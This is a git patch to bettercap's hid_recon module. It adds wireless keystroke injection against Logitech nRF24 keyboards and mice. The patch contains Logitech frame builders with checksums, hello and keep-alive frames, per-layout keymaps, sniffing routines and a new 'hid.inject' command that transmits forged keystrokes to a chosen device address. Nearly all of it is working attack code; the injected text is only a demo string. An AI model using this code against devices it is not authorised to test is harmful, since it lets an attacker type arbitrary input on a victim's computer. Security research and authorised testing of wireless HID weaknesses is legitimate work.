From d6c406cb73db9896f054a0025e2144e97df20e00 Mon Sep 17 00:00:00 2001 From: evilsocket Date: Wed, 20 Feb 2019 14:06:10 +0100 Subject: [PATCH] basic HID injection is finally working :) --- modules/hid_recon/hid_builders.go | 2 +- modules/hid_recon/hid_command.go | 33 +++++- modules/hid_recon/hid_inject.go | 91 ++++++++++++++++ modules/hid_recon/hid_keymaps.go | 38 +++---- modules/hid_recon/hid_logitech.go | 48 +++++++- modules/hid_recon/hid_recon.go | 175 ++++++------------------------ modules/hid_recon/hid_sniff.go | 75 +++++++++++++ 7 files changed, 298 insertions(+), 164 deletions(-) create mode 100644 modules/hid_recon/hid_inject.go create mode 100644 modules/hid_recon/hid_sniff.go diff --git a/modules/hid_recon/hid_builders.go b/modules/hid_recon/hid_builders.go index 9b709fcb..4b774c2e 100644 --- a/modules/hid_recon/hid_builders.go +++ b/modules/hid_recon/hid_builders.go @@ -5,7 +5,7 @@ import ( ) type FrameBuilder interface { - BuildFrames(commands []Command) + BuildFrames([]*Command) } var FrameBuilders = map[network.HIDType]FrameBuilder{ diff --git a/modules/hid_recon/hid_command.go b/modules/hid_recon/hid_command.go index 05ba96ee..6bc0387f 100644 --- a/modules/hid_recon/hid_command.go +++ b/modules/hid_recon/hid_command.go @@ -1,11 +1,40 @@ package hid_recon -type Frame []byte +import ( + "time" +) + +type Frame struct { + Data []byte + Delay time.Duration +} + +func NewFrame(buf []byte, delay int) Frame { + return Frame{ + Data: buf, + Delay: time.Millisecond * time.Duration(delay), + } +} type Command struct { Mode byte HID byte Char string - Sleep byte + Sleep int Frames []Frame } + +func (cmd *Command) AddFrame(buf []byte, delay int) { + if cmd.Frames == nil { + cmd.Frames = make([]Frame, 0) + } + cmd.Frames = append(cmd.Frames, NewFrame(buf, delay)) +} + +func (cmd Command) IsHID() bool { + return cmd.HID != 0 || cmd.Mode != 0 +} + +func (cmd Command) IsSleep() bool { + return cmd.Sleep > 0 +} diff --git a/modules/hid_recon/hid_inject.go b/modules/hid_recon/hid_inject.go new file mode 100644 index 00000000..d46b175b --- /dev/null +++ b/modules/hid_recon/hid_inject.go @@ -0,0 +1,91 @@ +package hid_recon + +import ( + "fmt" + "time" + + "github.com/evilsocket/islazy/tui" + + "github.com/dustin/go-humanize" +) + +func (mod *HIDRecon) isInjecting() bool { + return mod.inInjectMode +} + +func (mod *HIDRecon) setInjectionMode(address string) error { + if err := mod.setSniffMode(address); err != nil { + return err + } else if address == "clear" { + mod.inInjectMode = false + } else { + mod.inInjectMode = true + } + return nil +} + +func (mod *HIDRecon) doInjection() { + dev, found := mod.Session.HID.Get(mod.sniffAddr) + if found == false { + mod.Warning("could not find HID device %s", mod.sniffAddr) + return + } + + builder, found := FrameBuilders[dev.Type] + if found == false { + mod.Warning("HID frame injection is not supported for device type %s", dev.Type.String()) + return + } + + keyLayout := KeyMapFor(mod.keyLayout) + if keyLayout == nil { + mod.Warning("could not find keymap for '%s' layout", mod.keyLayout) + return + } + + str := "hello world from bettercap ^_^" + cmds := make([]*Command, 0) + for _, c := range str { + ch := fmt.Sprintf("%c", c) + if m, found := keyLayout[ch]; found { + cmds = append(cmds, &Command{ + Char: ch, + HID: m.HID, + Mode: m.Mode, + }) + } else { + mod.Warning("could not find HID command for '%c'", ch) + return + } + } + + builder.BuildFrames(cmds) + numFrames := 0 + szFrames := 0 + for _, cmd := range cmds { + for _, frame := range cmd.Frames { + numFrames++ + szFrames += len(frame.Data) + } + } + + mod.Info("sending %d (%s) HID frames to %s (type:%s layout:%s) ...", + numFrames, + humanize.Bytes(uint64(szFrames)), + tui.Bold(mod.sniffAddr), + tui.Yellow(dev.Type.String()), + tui.Yellow(mod.keyLayout)) + + for i, cmd := range cmds { + for j, frame := range cmd.Frames { + if err := mod.dongle.TransmitPayload(frame.Data, 500, 3); err != nil { + mod.Warning("error sending frame #%d of HID command #%d: %v", j, i, err) + } + + if frame.Delay > 0 { + mod.Debug("sleeping %dms after frame #%d of command #%d ...", frame.Delay, j, i) + time.Sleep(frame.Delay) + } + } + } +} diff --git a/modules/hid_recon/hid_keymaps.go b/modules/hid_recon/hid_keymaps.go index 413fe2d7..459e275f 100644 --- a/modules/hid_recon/hid_keymaps.go +++ b/modules/hid_recon/hid_keymaps.go @@ -46,7 +46,7 @@ var BaseMap = KeyMap{ } var KeyMaps = map[string]KeyMap{ - "be": KeyMap{ + "BE": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 48}, "(": Command{HID: 34}, @@ -156,7 +156,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, - "fr": KeyMap{ + "FR": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 48}, "(": Command{HID: 34}, @@ -254,7 +254,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 46, Mode: 64}, }, - "ch": KeyMap{ + "CH": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 49}, "(": Command{HID: 37, Mode: 2}, @@ -362,7 +362,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 29}, "}": Command{HID: 49, Mode: 64}, }, - "dk": KeyMap{ + "DK": KeyMap{ "ð": Command{HID: 7, Mode: 64}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, @@ -476,7 +476,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, - "pt": KeyMap{ + "PT": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, @@ -583,7 +583,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, - "no": KeyMap{ + "NO": KeyMap{ "ð": Command{HID: 7, Mode: 64}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, @@ -697,7 +697,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, - "hr": KeyMap{ + "HR": KeyMap{ "-": Command{HID: 56}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, @@ -821,7 +821,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 29}, "}": Command{HID: 17, Mode: 64}, }, - "ca": KeyMap{ + "CA": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, @@ -943,7 +943,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 49, Mode: 64}, }, - "de": KeyMap{ + "DE": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, @@ -1054,7 +1054,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 29}, "}": Command{HID: 39, Mode: 64}, }, - "tr": KeyMap{ + "TR": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, "(": Command{HID: 37, Mode: 2}, @@ -1152,7 +1152,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, - "it": KeyMap{ + "IT": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, @@ -1253,7 +1253,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 48, Mode: 66}, }, - "us": KeyMap{ + "US": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, @@ -1351,7 +1351,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 48, Mode: 2}, }, - "sv": KeyMap{ + "SV": KeyMap{ "ð": Command{HID: 7, Mode: 64}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, @@ -1464,7 +1464,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, - "si": KeyMap{ + "SI": KeyMap{ "-": Command{HID: 56}, " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, @@ -1588,7 +1588,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 29}, "}": Command{HID: 17, Mode: 64}, }, - "gb": KeyMap{ + "GB": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, @@ -1694,7 +1694,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 48, Mode: 2}, }, - "br": KeyMap{ + "BR": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, @@ -1796,7 +1796,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 49, Mode: 2}, }, - "ru": KeyMap{ + "RU": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 38, Mode: 2}, @@ -1887,7 +1887,7 @@ var KeyMaps = map[string]KeyMap{ "5": Command{HID: 34}, "9": Command{HID: 38}, }, - "fi": KeyMap{ + "FI": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 64}, "(": Command{HID: 37, Mode: 2}, @@ -1993,7 +1993,7 @@ var KeyMaps = map[string]KeyMap{ "y": Command{HID: 28}, "}": Command{HID: 39, Mode: 64}, }, - "es": KeyMap{ + "ES": KeyMap{ " ": Command{HID: 44}, "$": Command{HID: 33, Mode: 2}, "(": Command{HID: 37, Mode: 2}, diff --git a/modules/hid_recon/hid_logitech.go b/modules/hid_recon/hid_logitech.go index 441e6573..6530e353 100644 --- a/modules/hid_recon/hid_logitech.go +++ b/modules/hid_recon/hid_logitech.go @@ -1,8 +1,54 @@ package hid_recon +const ( + frameDelay = 12 +) + +var ( + helloData = []byte{0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED} + keepAliveData = []byte{0x00, 0x40, 0x04, 0xB0, 0x0C} +) + type LogitechBuilder struct { } -func (b LogitechBuilder) BuildFrames(commands []Command) { +func (b LogitechBuilder) frameFor(cmd *Command) []byte { + data := []byte{0, 0xC1, cmd.Mode, cmd.HID, 0, 0, 0, 0, 0, 0} + sz := len(data) + last := sz - 1 + sum := byte(0xff) + for i := 0; i < last; i++ { + sum = (sum - data[i]) & 0xff + } + sum = (sum + 1) & 0xff + data[last] = sum + + return data +} + +func (b LogitechBuilder) BuildFrames(commands []*Command) { + numCommands := len(commands) + for i, cmd := range commands { + if i == 0 { + cmd.AddFrame(helloData, frameDelay) + } + + next := (*Command)(nil) + if i < numCommands-1 { + next = commands[i+1] + } + + if cmd.IsHID() { + cmd.AddFrame(b.frameFor(cmd), frameDelay) + cmd.AddFrame(keepAliveData, 0) + if next == nil || cmd.HID == next.HID || next.IsSleep() { + cmd.AddFrame(b.frameFor(&Command{}), 0) + } + } else if cmd.IsSleep() { + for i, num := 0, cmd.Sleep/10; i < num; i++ { + cmd.AddFrame(keepAliveData, 10) + } + } + } } diff --git a/modules/hid_recon/hid_recon.go b/modules/hid_recon/hid_recon.go index c50dea39..c7723a86 100644 --- a/modules/hid_recon/hid_recon.go +++ b/modules/hid_recon/hid_recon.go @@ -1,17 +1,13 @@ package hid_recon import ( - "fmt" "sync" "time" "github.com/bettercap/bettercap/modules/utils" - "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/bettercap/nrf24" - - "github.com/evilsocket/islazy/tui" ) type HIDRecon struct { @@ -31,7 +27,8 @@ type HIDRecon struct { pingPayload []byte inSniffMode bool inPromMode bool - keyMap string + inInjectMode bool + keyLayout string selector *utils.ViewSelector } @@ -51,8 +48,9 @@ func NewHIDRecon(s *session.Session) *HIDRecon { sniffAddr: "", inSniffMode: false, inPromMode: false, + inInjectMode: false, pingPayload: []byte{0x0f, 0x0f, 0x0f, 0x0f}, - keyMap: "us", + keyLayout: "US", } mod.AddHandler(session.NewModuleHandler("hid.recon on", "", @@ -83,6 +81,16 @@ func NewHIDRecon(s *session.Session) *HIDRecon { return mod.Show() })) + inject := session.NewModuleHandler("hid.inject ADDRESS", `(?i)^hid\.inject ([a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2}:[a-f0-9]{2})$`, + "TODO TODO", + func(args []string) error { + return mod.setInjectionMode(args[0]) + }) + + inject.Complete("hid.inject", s.HIDCompleter) + + mod.AddHandler(inject) + mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "hid.show", []string{"mac", "seen"}, "mac desc") return mod @@ -119,33 +127,6 @@ func (mod *HIDRecon) Configure() error { return nil } -func (mod *HIDRecon) setSniffMode(mode string) error { - mod.sniffLock.Lock() - defer mod.sniffLock.Unlock() - - mod.inSniffMode = false - if mode == "clear" { - mod.Debug("restoring recon mode") - mod.sniffAddrRaw = nil - mod.sniffAddr = "" - } else { - if err, raw := nrf24.ConvertAddress(mode); err != nil { - return err - } else { - mod.Info("sniffing device %s ...", tui.Bold(mode)) - mod.sniffAddr = network.NormalizeHIDAddress(mode) - mod.sniffAddrRaw = raw - } - } - return nil -} - -func (mod *HIDRecon) isSniffing() bool { - mod.sniffLock.Lock() - defer mod.sniffLock.Unlock() - return mod.sniffAddrRaw != nil -} - func (mod *HIDRecon) doHopping() { if mod.inPromMode == false { if err := mod.dongle.EnterPromiscMode(); err != nil { @@ -153,7 +134,7 @@ func (mod *HIDRecon) doHopping() { } else { mod.inSniffMode = false mod.inPromMode = true - mod.Info("device entered promiscuous mode") + mod.Debug("device entered promiscuous mode") } } @@ -170,103 +151,6 @@ func (mod *HIDRecon) doHopping() { } } -func (mod *HIDRecon) doPing() { - if mod.inSniffMode == false { - if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil { - mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err) - } else { - mod.inSniffMode = true - mod.inPromMode = false - mod.Info("device entered sniffer mode for %s", mod.sniffAddr) - } - } - - if time.Since(mod.lastPing) >= mod.pingPeriod { - // try on the current channel first - if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil { - for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ { - if err := mod.dongle.SetChannel(mod.channel); err != nil { - mod.Error("error setting channel %d: %v", mod.channel, err) - } else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil { - mod.lastPing = time.Now() - return - } - } - } - } - - dev, found := mod.Session.HID.Get(mod.sniffAddr) - if found == false { - mod.Warning("could not find HID device %s", mod.sniffAddr) - return - } - - builder, found := FrameBuilders[dev.Type] - if found == false { - mod.Warning("HID frame injection is not supported for device type %s", dev.Type.String()) - return - } - - str := "hello world" - cmds := make([]Command, 0) - keyMap := KeyMapFor(mod.keyMap) - if keyMap == nil { - mod.Warning("could not find keymap for '%s' layout", mod.keyMap) - return - } - - for _, c := range str { - ch := fmt.Sprintf("%c", c) - if m, found := keyMap[ch]; found { - cmds = append(cmds, Command{ - Char: ch, - HID: m.HID, - Mode: m.Mode, - }) - } else { - mod.Warning("could not find HID command for '%c'", ch) - return - } - } - - builder.BuildFrames(cmds) - - mod.Info("injecting %d HID commands ...", len(cmds)) - - numFrames := 0 - szFrames := 0 - - for i, cmd := range cmds { - for j, frame := range cmd.Frames { - numFrames++ - if err := mod.dongle.TransmitPayload(frame, 250, 1); err != nil { - mod.Error("error sending frame #%d of HID command #%d: %v", j, i, err) - return - } else if cmd.Sleep > 0 { - szFrames += len(frame) - mod.Debug("sleeping %dms after frame #%d of command #%d ...", cmd.Sleep, j, i) - time.Sleep(time.Duration(cmd.Sleep) * time.Millisecond) - } - } - } - - mod.Info("send %d frames for %d bytes total", numFrames, szFrames) -} - -func (mod *HIDRecon) onSniffedBuffer(buf []byte) { - if sz := len(buf); sz > 0 && buf[0] == 0x00 { - buf = buf[1:] - mod.Debug("sniffed payload %x for %s", buf, mod.sniffAddr) - if dev, found := mod.Session.HID.Get(mod.sniffAddr); found { - dev.LastSeen = time.Now() - dev.AddPayload(buf) - dev.AddChannel(mod.channel) - } else { - mod.Warning("got a payload for unknown device %s", mod.sniffAddr) - } - } -} - func (mod *HIDRecon) onDeviceDetected(buf []byte) { if sz := len(buf); sz >= 5 { addr, payload := buf[0:5], buf[5:] @@ -274,17 +158,20 @@ func (mod *HIDRecon) onDeviceDetected(buf []byte) { if isNew, dev := mod.Session.HID.AddIfNew(addr, mod.channel, payload); isNew { // sniff for a while in order to detect the device type go func() { - defer func() { - mod.sniffLock.Unlock() - mod.setSniffMode("clear") - }() + if err := mod.setSniffMode(dev.Address); err == nil { + mod.Debug("detecting device type ...") + defer func() { + mod.sniffLock.Unlock() + mod.setSniffMode("clear") + }() + // make sure nobody can sniff to another + // address until we're not done here... + mod.sniffLock.Lock() - mod.setSniffMode(dev.Address) - // make sure nobody can sniff to another - // address until we're not done here... - mod.sniffLock.Lock() - - time.Sleep(mod.sniffPeriod) + time.Sleep(mod.sniffPeriod) + } else { + mod.Warning("error while sniffing %s: %v", dev.Address, err) + } }() } } @@ -307,6 +194,12 @@ func (mod *HIDRecon) Start() error { mod.doHopping() } + if mod.isInjecting() { + mod.doInjection() + mod.setInjectionMode("clear") + continue + } + buf, err := mod.dongle.ReceivePayload() if err != nil { mod.Warning("error receiving payload from channel %d: %v", mod.channel, err) diff --git a/modules/hid_recon/hid_sniff.go b/modules/hid_recon/hid_sniff.go new file mode 100644 index 00000000..9a86a37d --- /dev/null +++ b/modules/hid_recon/hid_sniff.go @@ -0,0 +1,75 @@ +package hid_recon + +import ( + "time" + + "github.com/bettercap/bettercap/network" + + "github.com/bettercap/nrf24" + "github.com/evilsocket/islazy/tui" +) + +func (mod *HIDRecon) isSniffing() bool { + return mod.sniffAddrRaw != nil +} + +func (mod *HIDRecon) setSniffMode(mode string) error { + mod.sniffLock.Lock() + defer mod.sniffLock.Unlock() + + mod.inSniffMode = false + if mode == "clear" { + mod.Debug("restoring recon mode") + mod.sniffAddrRaw = nil + mod.sniffAddr = "" + } else { + if err, raw := nrf24.ConvertAddress(mode); err != nil { + return err + } else { + mod.Debug("sniffing device %s ...", tui.Bold(mode)) + mod.sniffAddr = network.NormalizeHIDAddress(mode) + mod.sniffAddrRaw = raw + } + } + return nil +} + +func (mod *HIDRecon) doPing() { + if mod.inSniffMode == false { + if err := mod.dongle.EnterSnifferModeFor(mod.sniffAddrRaw); err != nil { + mod.Error("error entering sniffer mode for %s: %v", mod.sniffAddr, err) + } else { + mod.inSniffMode = true + mod.inPromMode = false + mod.Debug("device entered sniffer mode for %s", mod.sniffAddr) + } + } + + if time.Since(mod.lastPing) >= mod.pingPeriod { + // try on the current channel first + if err := mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err != nil { + for mod.channel = 1; mod.channel <= nrf24.TopChannel; mod.channel++ { + if err := mod.dongle.SetChannel(mod.channel); err != nil { + mod.Error("error setting channel %d: %v", mod.channel, err) + } else if err = mod.dongle.TransmitPayload(mod.pingPayload, 250, 1); err == nil { + mod.lastPing = time.Now() + return + } + } + } + } +} + +func (mod *HIDRecon) onSniffedBuffer(buf []byte) { + if sz := len(buf); sz > 0 && buf[0] == 0x00 { + buf = buf[1:] + mod.Debug("sniffed payload %x for %s", buf, mod.sniffAddr) + if dev, found := mod.Session.HID.Get(mod.sniffAddr); found { + dev.LastSeen = time.Now() + dev.AddPayload(buf) + dev.AddChannel(mod.channel) + } else { + mod.Warning("got a payload for unknown device %s", mod.sniffAddr) + } + } +}